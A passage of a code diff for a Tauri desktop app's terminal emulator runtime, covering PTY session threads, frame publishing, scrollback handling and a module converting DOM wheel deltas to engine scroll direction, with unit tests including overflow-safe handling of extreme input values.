let (terminal, actions) = Terminal::new(terminal_size, Fences::default());
|
||||||
|
let terminal = Arc::new(SharedTerminal::new(terminal));
|
||||||
|
let publisher = Arc::new(Mutex::new(FramePublisher::new(terminal.lock().viewport())));
|
||||||
|
let channel = Arc::new(Mutex::new(Some(on_frame)));
|
||||||
|
let current_pty_size = Arc::new(Mutex::new(pty_size(
|
||||||
|
request.columns,
|
||||||
|
request.rows,
|
||||||
|
request.pixel_width,
|
||||||
|
request.pixel_height,
|
||||||
|
)));
|
||||||
|
|
||||||
|
// Emulator replies (DSR/size) must go back through the PTY even when no
|
||||||
|
// renderer is attached. The action thread ends when the terminal drops.
|
||||||
|
let action_writer = Arc::clone(&writer);
|
||||||
|
let action_size = Arc::clone(¤t_pty_size);
|
||||||
|
let action_channel = Arc::clone(&channel);
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
while let Ok(action) = actions.recv() {
|
||||||
|
let presentation = match &action {
|
||||||
|
buzz_terminal::Action::Title(title) => Some(TerminalMessage::Title(title.clone())),
|
||||||
|
buzz_terminal::Action::ResetTitle => Some(TerminalMessage::ResetTitle),
|
||||||
|
buzz_terminal::Action::Bell => Some(TerminalMessage::Bell),
|
||||||
|
_ => None,
|
||||||
|
};
|
||||||
|
if let Some(message) = presentation {
|
||||||
|
let _ = action_channel
|
||||||
|
.lock()
|
||||||
|
.ok()
|
||||||
|
.and_then(|channel| channel.as_ref()?.send(message).ok());
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let size = action_size.lock().map(|size| *size).unwrap_or_default();
|
||||||
|
if let Some(reply) = buzz_terminal::listener::reply(
|
||||||
|
action,
|
||||||
|
size.cols,
|
||||||
|
size.rows,
|
||||||
|
size.pixel_width,
|
||||||
|
size.pixel_height,
|
||||||
|
) {
|
||||||
|
if action_writer.lock().map_or(true, |mut writer| {
|
||||||
|
writer.write_all(reply.as_bytes()).is_err()
|
||||||
|
}) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
let reader_terminal = Arc::clone(&terminal);
|
||||||
|
let reader_publisher = Arc::clone(&publisher);
|
||||||
|
let reader_channel = Arc::clone(&channel);
|
||||||
|
let reader_stopping = Arc::new(AtomicBool::new(false));
|
||||||
|
let thread_stopping = Arc::clone(&reader_stopping);
|
||||||
|
let reader_handle = std::thread::spawn(move || {
|
||||||
|
let mut buffer = [0u8; 16 * 1024];
|
||||||
|
let mut encoder = buzz_terminal::damage::Encoder::new();
|
||||||
|
let mut snapshot_encoder = buzz_terminal::damage::Encoder::new();
|
||||||
|
loop {
|
||||||
|
let count = match reader.read(&mut buffer) {
|
||||||
|
Ok(0) | Err(_) => break,
|
||||||
|
Ok(count) => count,
|
||||||
|
};
|
||||||
|
if thread_stopping.load(Ordering::Acquire) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if reader_terminal.is_closing() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let _ = feed_and_drain(&reader_terminal, &buffer[..count]);
|
||||||
|
if reader_terminal.is_closing() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let needs_snapshot = reader_publisher
|
||||||
|
.lock()
|
||||||
|
.map(|publisher| publisher.requires_snapshot())
|
||||||
|
.unwrap_or(false);
|
||||||
|
let frame = if needs_snapshot {
|
||||||
|
reader_terminal.snapshot(&mut snapshot_encoder)
|
||||||
|
} else {
|
||||||
|
reader_terminal.render(&mut encoder)
|
||||||
|
};
|
||||||
|
if frame.is_empty() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let publication = offer_capture(&reader_publisher, frame, || {
|
||||||
|
reader_terminal.snapshot(&mut snapshot_encoder)
|
||||||
|
});
|
||||||
|
if let Some(publication) = publication {
|
||||||
|
let subscription = publication.subscription_id;
|
||||||
|
let result = wire_publication(publication).and_then(|mut message| {
|
||||||
|
let (bracketed_paste, focus_reporting) = reader_terminal.input_modes();
|
||||||
|
message.bracketed_paste = bracketed_paste;
|
||||||
|
message.focus_reporting = focus_reporting;
|
||||||
|
reader_channel
|
||||||
|
.lock()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.as_ref()
|
||||||
|
.ok_or_else(|| "detached".to_string())?
|
||||||
|
.send(TerminalMessage::Frame(message))
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
});
|
||||||
|
if result.is_err() {
|
||||||
|
if let Ok(mut publisher) = reader_publisher.lock() {
|
||||||
|
publisher.fault(subscription);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let _ = reader_channel
|
||||||
|
.lock()
|
||||||
|
.ok()
|
||||||
|
.and_then(|channel| channel.as_ref()?.send(TerminalMessage::Exit).ok());
|
||||||
|
});
|
||||||
|
|
||||||
|
let subscription = SubscriptionId::new();
|
||||||
|
let mut snapshot_encoder = buzz_terminal::damage::Encoder::new();
|
||||||
|
let viewport = terminal.lock().viewport();
|
||||||
|
let bootstrap = publisher
|
||||||
|
.lock()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.attach(subscription, terminal.snapshot(&mut snapshot_encoder))
|
||||||
|
.map_err(|_| "terminal snapshot rejected".to_string())?;
|
||||||
|
let session = Session {
|
||||||
|
id,
|
||||||
|
terminal: Arc::clone(&terminal),
|
||||||
|
master: Some(pair.master),
|
||||||
|
writer,
|
||||||
|
pty_size: current_pty_size,
|
||||||
|
child,
|
||||||
|
reader: Some(Box::new(ReaderThread {
|
||||||
|
handle: Some(reader_handle),
|
||||||
|
terminal: Arc::clone(&terminal),
|
||||||
|
stopping: reader_stopping,
|
||||||
|
})),
|
||||||
|
publisher,
|
||||||
|
channel,
|
||||||
|
};
|
||||||
|
session.publish(bootstrap);
|
||||||
|
sessions.push(session);
|
||||||
|
Ok(AttachResponse {
|
||||||
|
session_id: id.to_string(),
|
||||||
|
subscription_id: subscription.to_string(),
|
||||||
|
viewport: viewport.into(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
pub(crate) fn terminal_detach(
|
||||||
|
session_id: String,
|
||||||
|
subscription_id: String,
|
||||||
|
state: tauri::State<'_, TerminalSessions>,
|
||||||
|
) -> Result<()> {
|
||||||
|
state.with_session(&session_id, |session| {
|
||||||
|
let id = SubscriptionId::parse(&subscription_id)?;
|
||||||
|
let detached = session
|
||||||
|
.publisher
|
||||||
|
.lock()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.fault(id);
|
||||||
|
if detached {
|
||||||
|
*session.channel.lock().map_err(|e| e.to_string())? = None;
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
pub(crate) fn terminal_close(
|
||||||
|
session_id: String,
|
||||||
|
state: tauri::State<'_, TerminalSessions>,
|
||||||
|
) -> Result<()> {
|
||||||
|
let id = Uuid::parse_str(&session_id).map_err(|_| "invalid terminal session id".to_string())?;
|
||||||
|
let session = {
|
||||||
|
let mut sessions = state.0.lock().map_err(|e| e.to_string())?;
|
||||||
|
let index = sessions
|
||||||
|
.iter()
|
||||||
|
.position(|session| session.id == id)
|
||||||
|
.ok_or_else(|| "terminal session not found".to_string())?;
|
||||||
|
sessions.remove(index)
|
||||||
|
};
|
||||||
|
session.shutdown();
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
pub(crate) fn terminal_input(
|
||||||
|
session_id: String,
|
||||||
|
data: String,
|
||||||
|
state: tauri::State<'_, TerminalSessions>,
|
||||||
|
) -> Result<()> {
|
||||||
|
if data.len() > MAX_INPUT_BYTES {
|
||||||
|
return Err("terminal input exceeds 1 MiB".to_string());
|
||||||
|
}
|
||||||
|
state.with_session(&session_id, |session| {
|
||||||
|
session
|
||||||
|
.writer
|
||||||
|
.lock()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.write_all(data.as_bytes())
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
// Typing returns you to the live edge, as every terminal does. It has
|
||||||
|
// to be explicit: the grid pins a scrolled-back viewport and lets new
|
||||||
|
// output pile up above it, so the echo of this keystroke would land on
|
||||||
|
// a screen the user cannot see. Doing it here rather than in the
|
||||||
|
// renderer covers pasted text and encoded keys for free, and costs a
|
||||||
|
// comparison -- not a repaint -- when nothing was scrolled.
|
||||||
|
if session.terminal.scroll_to_bottom() {
|
||||||
|
publish_viewport(session)?;
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
pub(crate) fn terminal_resize(
|
||||||
|
session_id: String,
|
||||||
|
columns: u16,
|
||||||
|
rows: u16,
|
||||||
|
pixel_width: u16,
|
||||||
|
pixel_height: u16,
|
||||||
|
state: tauri::State<'_, TerminalSessions>,
|
||||||
|
) -> Result<WireViewport> {
|
||||||
|
let terminal_size = size(columns, rows)?;
|
||||||
|
state.with_session(&session_id, |session| {
|
||||||
|
let new_pty_size = pty_size(columns, rows, pixel_width, pixel_height);
|
||||||
|
session
|
||||||
|
.master
|
||||||
|
.as_ref()
|
||||||
|
.ok_or_else(|| "terminal is closing".to_string())?
|
||||||
|
.resize(new_pty_size)
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
*session.pty_size.lock().map_err(|e| e.to_string())? = new_pty_size;
|
||||||
|
let viewport = session.terminal.resize(terminal_size);
|
||||||
|
let publication = {
|
||||||
|
let mut publisher = session.publisher.lock().map_err(|e| e.to_string())?;
|
||||||
|
publisher.resize_applied(viewport);
|
||||||
|
let mut encoder = buzz_terminal::damage::Encoder::new();
|
||||||
|
publisher
|
||||||
|
.offer(session.terminal.snapshot(&mut encoder))
|
||||||
|
.map_err(|_| "terminal resize snapshot rejected".to_string())?
|
||||||
|
};
|
||||||
|
if let Some(publication) = publication {
|
||||||
|
session.publish(publication);
|
||||||
|
}
|
||||||
|
Ok(viewport.into())
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Republish the viewport after the *viewport itself* moved without the grid
|
||||||
|
/// changing.
|
||||||
|
///
|
||||||
|
/// A snapshot, not a damage capture, and that is load-bearing twice over.
|
||||||
|
/// `capture_all` deliberately leaves damage alone (`damage.rs`), so the
|
||||||
|
/// full-damage flag that `scroll_display` just set survives for the reader
|
||||||
|
/// thread's next `render()` to consume -- which is what clears *its* dedup
|
||||||
|
/// hashes. Take the damage here instead and those hashes would go on
|
||||||
|
/// describing the rows the renderer had before the scroll, free to suppress a
|
||||||
|
/// row that genuinely changed underneath it.
|
||||||
|
///
|
||||||
|
/// The encoder is fresh and local because its only job is to encode one frame
|
||||||
|
/// that is `full` by construction; sharing the reader's would be sharing dedup
|
||||||
|
/// state across two coordinate systems.
|
||||||
|
fn publish_viewport(session: &Session) -> Result<()> {
|
||||||
|
let mut encoder = buzz_terminal::damage::Encoder::new();
|
||||||
|
let publication = session
|
||||||
|
.publisher
|
||||||
|
.lock()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.offer(session.terminal.snapshot(&mut encoder))
|
||||||
|
.map_err(|_| "terminal scroll snapshot rejected".to_string())?;
|
||||||
|
if let Some(publication) = publication {
|
||||||
|
session.publish(publication);
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Scroll the viewport through scrollback.
|
||||||
|
///
|
||||||
|
/// `lines` is a DOM wheel delta in cells; see [`scroll_by_dom_lines`] for the
|
||||||
|
/// sign convention and why it is written against `deltaY`.
|
||||||
|
#[tauri::command]
|
||||||
|
pub(crate) fn terminal_scroll(
|
||||||
|
session_id: String,
|
||||||
|
lines: DomLines,
|
||||||
|
state: tauri::State<'_, TerminalSessions>,
|
||||||
|
) -> Result<()> {
|
||||||
|
state.with_session(&session_id, |session| {
|
||||||
|
// Momentum keeps delivering events for a second or so after the
|
||||||
|
// fingers lift. Once history runs out the engine clamps and reports
|
||||||
|
// that nothing moved, so the tail costs a lock and a compare rather
|
||||||
|
// than a full-grid copy and a frame each.
|
||||||
|
if !scroll_by_dom_lines(&session.terminal, lines) {
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
publish_viewport(session)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
pub(crate) fn terminal_ack(
|
||||||
|
session_id: String,
|
||||||
|
subscription_id: String,
|
||||||
|
sequence: u64,
|
||||||
|
state: tauri::State<'_, TerminalSessions>,
|
||||||
|
) -> Result<()> {
|
||||||
|
state.with_session(&session_id, |session| {
|
||||||
|
let id = SubscriptionId::parse(&subscription_id)?;
|
||||||
|
let publication = session
|
||||||
|
.publisher
|
||||||
|
.lock()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.acknowledge(id, sequence);
|
||||||
|
if let Some(publication) = publication {
|
||||||
|
session.publish(publication);
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
pub(crate) fn terminal_viewport_ready(
|
||||||
|
session_id: String,
|
||||||
|
subscription_id: String,
|
||||||
|
viewport: WireViewport,
|
||||||
|
state: tauri::State<'_, TerminalSessions>,
|
||||||
|
) -> Result<()> {
|
||||||
|
state.with_session(&session_id, |session| {
|
||||||
|
let id = SubscriptionId::parse(&subscription_id)?;
|
||||||
|
let publication = session
|
||||||
|
.publisher
|
||||||
|
.lock()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.viewport_ready(id, viewport.into());
|
||||||
|
if let Some(publication) = publication {
|
||||||
|
session.publish(publication);
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
pub(crate) fn terminal_focus(
|
||||||
|
session_id: String,
|
||||||
|
focused: bool,
|
||||||
|
state: tauri::State<'_, TerminalSessions>,
|
||||||
|
) -> Result<()> {
|
||||||
|
state.with_session(&session_id, |session| {
|
||||||
|
let (_, enabled) = session.terminal.input_modes();
|
||||||
|
if enabled {
|
||||||
|
session
|
||||||
|
.writer
|
||||||
|
.lock()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.write_all(if focused { b"\x1b[I" } else { b"\x1b[O" })
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use buzz_terminal::damage::{CursorFrame, RowFrame, Span};
|
||||||
|
|
||||||
|
fn publication(spans: Vec<Span>) -> Publication {
|
||||||
|
Publication {
|
||||||
|
subscription_id: SubscriptionId::new(),
|
||||||
|
sequence: 7,
|
||||||
|
frame: buzz_terminal::damage::Frame {
|
||||||
|
rows: vec![RowFrame { line: 3, spans }],
|
||||||
|
cursor: CursorFrame {
|
||||||
|
line: 1,
|
||||||
|
column: 2,
|
||||||
|
visible: true,
|
||||||
|
},
|
||||||
|
cursor_changed: true,
|
||||||
|
full: true,
|
||||||
|
viewport: Viewport {
|
||||||
|
generation: 4,
|
||||||
|
columns: 80,
|
||||||
|
screen_lines: 24,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn style() -> Style {
|
||||||
|
Style {
|
||||||
|
fg: 1,
|
||||||
|
bg: 2,
|
||||||
|
flags: 3,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn marker_frame(marker: usize, full: bool) -> Frame {
|
||||||
|
Frame {
|
||||||
|
rows: vec![RowFrame {
|
||||||
|
line: marker,
|
||||||
|
spans: Vec::new(),
|
||||||
|
}],
|
||||||
|
cursor: CursorFrame {
|
||||||
|
line: 0,
|
||||||
|
column: 0,
|
||||||
|
visible: true,
|
||||||
|
},
|
||||||
|
cursor_changed: true,
|
||||||
|
full,
|
||||||
|
viewport: Viewport {
|
||||||
|
generation: 0,
|
||||||
|
columns: 80,
|
||||||
|
screen_lines: 24,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn assert_post_snapshot_capture_survives_attach(mut publisher: FramePublisher) {
|
||||||
|
assert!(!publisher.requires_snapshot());
|
||||||
|
let bootstrap = marker_frame(1, true);
|
||||||
|
let post_snapshot_incremental = marker_frame(42, false);
|
||||||
|
let subscription = SubscriptionId::new();
|
||||||
|
publisher.attach(subscription, bootstrap).unwrap();
|
||||||
|
let publisher = Mutex::new(publisher);
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
offer_capture(&publisher, post_snapshot_incremental, || marker_frame(
|
||||||
|
42, true
|
||||||
|
)),
|
||||||
|
None
|
||||||
|
);
|
||||||
|
|
||||||
|
let successor = publisher
|
||||||
|
.lock()
|
||||||
|
.unwrap()
|
||||||
|
.acknowledge(subscription, 1)
|
||||||
|
.expect("post-snapshot PTY output was lost");
|
||||||
|
assert_eq!(successor.frame.rows[0].line, 42);
|
||||||
|
assert!(successor.frame.full);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn reader_pumps_a_deferred_tail_without_an_external_event() {
|
||||||
|
let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL);
|
||||||
|
let terminal = SharedTerminal::new(terminal);
|
||||||
|
let payload = "\u{1b}c".repeat(2_102_714);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
feed_and_drain(&terminal, payload.as_bytes()),
|
||||||
|
"fixture must defer parser work before the runtime pumps it"
|
||||||
|
);
|
||||||
|
|
||||||
|
let terminal = terminal.lock();
|
||||||
|
assert_eq!(terminal.pending_bytes(), 0);
|
||||||
|
assert_eq!(terminal.stats().completed_units, 2_102_714);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn initial_attach_retains_output_captured_after_its_bootstrap_snapshot() {
|
||||||
|
let viewport = marker_frame(0, true).viewport;
|
||||||
|
let publisher = FramePublisher::new(viewport);
|
||||||
|
assert_post_snapshot_capture_survives_attach(publisher);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn reattach_retains_output_captured_after_its_bootstrap_snapshot() {
|
||||||
|
let viewport = marker_frame(0, true).viewport;
|
||||||
|
let mut publisher = FramePublisher::new(viewport);
|
||||||
|
let old = SubscriptionId::new();
|
||||||
|
publisher.attach(old, marker_frame(0, true)).unwrap();
|
||||||
|
assert!(publisher.acknowledge(old, 1).is_none());
|
||||||
|
assert_post_snapshot_capture_survives_attach(publisher);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn mapper_expands_ascii_runs_without_unicode_classification() {
|
||||||
|
let message = wire_publication(publication(vec![Span {
|
||||||
|
column: 4,
|
||||||
|
text: "abc".into(),
|
||||||
|
width: 1,
|
||||||
|
cluster_count: 3,
|
||||||
|
style: style(),
|
||||||
|
}]))
|
||||||
|
.unwrap();
|
||||||
|
let clusters = &message.rows[0].spans[0].clusters;
|
||||||
|
assert_eq!(
|
||||||
|
clusters
|
||||||
|
.iter()
|
||||||
|
.map(|cluster| (cluster.column, cluster.text.as_str()))
|
||||||
|
.collect::<Vec<_>>(),
|
||||||
|
vec![(4, "a"), (5, "b"), (6, "c")]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn mapper_keeps_a_multi_char_cluster_atomic() {
|
||||||
|
let message = wire_publication(publication(vec![Span {
|
||||||
|
column: 9,
|
||||||
|
text: "1\u{fe0f}\u{20e3}".into(),
|
||||||
|
width: 2,
|
||||||
|
cluster_count: 1,
|
||||||
|
style: style(),
|
||||||
|
}]))
|
||||||
|
.unwrap();
|
||||||
|
let clusters = &message.rows[0].spans[0].clusters;
|
||||||
|
assert_eq!(clusters.len(), 1);
|
||||||
|
assert_eq!(clusters[0].column, 9);
|
||||||
|
assert_eq!(clusters[0].text, "1\u{fe0f}\u{20e3}");
|
||||||
|
assert_eq!(clusters[0].width, 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn mapper_rejects_an_inconsistent_engine_span() {
|
||||||
|
let result = wire_publication(publication(vec![Span {
|
||||||
|
column: 0,
|
||||||
|
text: "ab".into(),
|
||||||
|
width: 1,
|
||||||
|
cluster_count: 3,
|
||||||
|
style: style(),
|
||||||
|
}]));
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn dimensions_reject_zero_and_preserve_scrollback_default() {
|
||||||
|
assert!(size(0, 24).is_err());
|
||||||
|
assert!(size(80, 0).is_err());
|
||||||
|
let size = size(100, 40).unwrap();
|
||||||
|
assert_eq!(
|
||||||
|
(size.columns, size.screen_lines, size.scrollback),
|
||||||
|
(100, 40, 10_000)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
179
desktop/src-tauri/src/terminal_runtime/scroll_sign.rs
Normal file
179
desktop/src-tauri/src/terminal_runtime/scroll_sign.rs
Normal file
@@ -0,0 +1,179 @@
|
|||||||
|
//! The one place the DOM's wheel sign meets the engine's scroll sign.
|
||||||
|
//!
|
||||||
|
//! Its own module because the crossing is the whole subject: the conversion is
|
||||||
|
//! two characters of code and roughly a hundred lines of tests and reasoning
|
||||||
|
//! about which way is back, and inlining that into the command file buries it
|
||||||
|
//! among unrelated session plumbing.
|
||||||
|
|
||||||
|
use buzz_terminal::SharedTerminal;
|
||||||
|
use serde::Deserialize;
|
||||||
|
|
||||||
|
/// A wheel delta in whole cells, carrying the **DOM's** sign.
|
||||||
|
///
|
||||||
|
/// A newtype rather than a bare `i32` so the engine's opposite convention
|
||||||
|
/// cannot be reached by accident: `SharedTerminal::scroll` takes an `i32`, so
|
||||||
|
/// handing it this value straight from the wire is a type error rather than a
|
||||||
|
/// silently reversed terminal. Deleting the conversion is caught by the tests
|
||||||
|
/// below; *bypassing* it is caught by the compiler.
|
||||||
|
///
|
||||||
|
/// Serde already reads a one-field tuple struct as its inner value, so no
|
||||||
|
/// `transparent` attribute is needed -- verified by the wire test below, which
|
||||||
|
/// deserializes from a bare number.
|
||||||
|
#[derive(Debug, Clone, Copy, Deserialize)]
|
||||||
|
pub(crate) struct DomLines(i32);
|
||||||
|
|
||||||
|
/// Scroll `terminal` by a DOM wheel delta in cells.
|
||||||
|
///
|
||||||
|
/// This is the only place the two sign conventions meet, so it is a named
|
||||||
|
/// function rather than a `-` in an argument list: inlined, the conversion is
|
||||||
|
/// executed by every scroll test and asserted by none of them, and deleting it
|
||||||
|
/// leaves both the Rust and the frontend suites green while reversing the
|
||||||
|
/// terminal on a real trackpad. It takes the terminal rather than returning a
|
||||||
|
/// number so the tests below drive the same call `terminal_scroll` makes,
|
||||||
|
/// instead of a conversion that agrees with itself.
|
||||||
|
///
|
||||||
|
/// The DOM sign is the spec because the OS-reported delta is the only stable
|
||||||
|
/// thing here. macOS "natural scrolling" flips what a given finger motion
|
||||||
|
/// reports, so a rule stated as "swipe up goes back" is correct for one
|
||||||
|
/// preference setting and backwards for the other. Stated against `deltaY` it
|
||||||
|
/// is correct for both, and matches whatever the page around the terminal
|
||||||
|
/// does: **negative DOM lines -- the direction that scrolls a web page toward
|
||||||
|
/// the top of the document -- go back into history**, which is positive in the
|
||||||
|
/// engine's `Scroll::Delta` convention.
|
||||||
|
///
|
||||||
|
/// `saturating_neg` because this arrives over IPC: plain unary negation on
|
||||||
|
/// `i32::MIN` panics in debug and wraps to `i32::MIN` in release, so a crafted
|
||||||
|
/// command could scroll the wrong way. Saturating leaves it going back, which
|
||||||
|
/// the engine then clamps at the oldest line.
|
||||||
|
///
|
||||||
|
/// Returns whether the viewport actually moved.
|
||||||
|
pub(super) fn scroll_by_dom_lines(terminal: &SharedTerminal, dom_lines: DomLines) -> bool {
|
||||||
|
terminal.scroll(dom_lines.0.saturating_neg())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
/// A terminal with four lines of history and a two-row viewport, used by
|
||||||
|
/// the sign tests below.
|
||||||
|
fn scrollable() -> SharedTerminal {
|
||||||
|
let size = buzz_terminal::Size {
|
||||||
|
columns: 8,
|
||||||
|
screen_lines: 2,
|
||||||
|
scrollback: 16,
|
||||||
|
};
|
||||||
|
let (term, actions) =
|
||||||
|
buzz_terminal::Terminal::new(size, buzz_terminal::fences::Fences::ALL);
|
||||||
|
// Leaked deliberately: dropping the receiver disconnects the channel
|
||||||
|
// and every later listener send fails silently.
|
||||||
|
std::mem::forget(actions);
|
||||||
|
let shared = SharedTerminal::new(term);
|
||||||
|
shared.feed_fully(b"L1\r\nL2\r\nL3\r\nL4");
|
||||||
|
shared
|
||||||
|
}
|
||||||
|
|
||||||
|
fn screen(terminal: &SharedTerminal) -> Vec<String> {
|
||||||
|
let mut encoder = buzz_terminal::damage::Encoder::new();
|
||||||
|
terminal
|
||||||
|
.snapshot(&mut encoder)
|
||||||
|
.rows
|
||||||
|
.iter()
|
||||||
|
.map(|row| {
|
||||||
|
row.spans
|
||||||
|
.iter()
|
||||||
|
.map(|span| span.text.as_str())
|
||||||
|
.collect::<String>()
|
||||||
|
.trim_end()
|
||||||
|
.to_string()
|
||||||
|
})
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The newtype is on the wire, so it has to deserialize from the bare
|
||||||
|
/// number the frontend sends. The frontend test mocks `invoke` and cannot
|
||||||
|
/// see this; if the wrapper did not read transparently, every scroll would
|
||||||
|
/// fail to deserialize and the terminal would silently stop scrolling.
|
||||||
|
#[test]
|
||||||
|
fn a_wheel_delta_deserializes_from_the_bare_number_the_frontend_sends() {
|
||||||
|
#[derive(Deserialize)]
|
||||||
|
struct Args {
|
||||||
|
lines: DomLines,
|
||||||
|
}
|
||||||
|
let args: Args = serde_json::from_str(r#"{"lines":-2}"#).unwrap();
|
||||||
|
assert_eq!(args.lines.0, -2);
|
||||||
|
|
||||||
|
let terminal = scrollable();
|
||||||
|
assert!(scroll_by_dom_lines(&terminal, args.lines));
|
||||||
|
assert_eq!(
|
||||||
|
screen(&terminal),
|
||||||
|
vec!["L1", "L2"],
|
||||||
|
"the value off the wire must scroll back, not forwards"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// **The DOM->engine crossing, asserted rather than executed in passing.**
|
||||||
|
///
|
||||||
|
/// The direction under test: *negative DOM lines go back into history.*
|
||||||
|
/// Negative is what a wheel reports for the gesture that scrolls a web
|
||||||
|
/// page toward the top of the document, and the engine's `Scroll::Delta`
|
||||||
|
/// takes positive for backwards, so the boundary negates.
|
||||||
|
///
|
||||||
|
/// This asserts on the text that lands on screen rather than on the
|
||||||
|
/// converted number. A test of the arithmetic alone passes just as well
|
||||||
|
/// against an engine that reads the sign the other way -- two one-sided
|
||||||
|
/// tests are not a test of the crossing.
|
||||||
|
#[test]
|
||||||
|
fn a_negative_dom_delta_scrolls_backwards_into_history() {
|
||||||
|
let terminal = scrollable();
|
||||||
|
assert_eq!(
|
||||||
|
screen(&terminal),
|
||||||
|
vec!["L3", "L4"],
|
||||||
|
"starts at the live edge"
|
||||||
|
);
|
||||||
|
|
||||||
|
assert!(scroll_by_dom_lines(&terminal, DomLines(-2)));
|
||||||
|
assert_eq!(
|
||||||
|
screen(&terminal),
|
||||||
|
vec!["L1", "L2"],
|
||||||
|
"a page-upwards gesture must reach older lines, not newer ones"
|
||||||
|
);
|
||||||
|
|
||||||
|
assert!(scroll_by_dom_lines(&terminal, DomLines(2)));
|
||||||
|
assert_eq!(
|
||||||
|
screen(&terminal),
|
||||||
|
vec!["L3", "L4"],
|
||||||
|
"and a page-downwards gesture returns to the live edge"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The momentum tail: once history runs out the engine clamps, and the
|
||||||
|
/// boundary must report that nothing moved so the command skips the
|
||||||
|
/// republish rather than shipping an identical frame per event.
|
||||||
|
#[test]
|
||||||
|
fn a_dom_delta_past_the_oldest_line_reports_no_movement() {
|
||||||
|
let terminal = scrollable();
|
||||||
|
assert!(scroll_by_dom_lines(&terminal, DomLines(-2)));
|
||||||
|
assert!(
|
||||||
|
!scroll_by_dom_lines(&terminal, DomLines(-1_000)),
|
||||||
|
"there is nothing older, so nothing moved"
|
||||||
|
);
|
||||||
|
assert_eq!(screen(&terminal), vec!["L1", "L2"]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `lines` arrives over IPC, so it can be any `i32`. Plain unary negation
|
||||||
|
/// panics on `i32::MIN` in debug and wraps back to `i32::MIN` in release --
|
||||||
|
/// the release case being the dangerous one, since it silently reverses
|
||||||
|
/// the direction. Saturating keeps the direction the caller asked for and
|
||||||
|
/// lets the engine clamp.
|
||||||
|
#[test]
|
||||||
|
fn the_most_negative_dom_delta_saturates_backwards_instead_of_wrapping_forwards() {
|
||||||
|
let terminal = scrollable();
|
||||||
|
assert!(scroll_by_dom_lines(&terminal, DomLines(i32::MIN)));
|
||||||
|
assert_eq!(
|
||||||
|
screen(&terminal),
|
||||||
|
vec!["L1", "L2"],
|
||||||
|
"a hostile delta must clamp at the oldest line, not flip direction"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
381
desktop/src-tauri/src/terminal_transport.rs
Normal file
381
desktop/src-tauri/src/terminal_transport.rs
Normal file
@@ -0,0 +1,381 @@
|
|||||||
|
//! Credit and viewport ordering for one renderer subscription.
|
||||||
|
//!
|
||||||
|
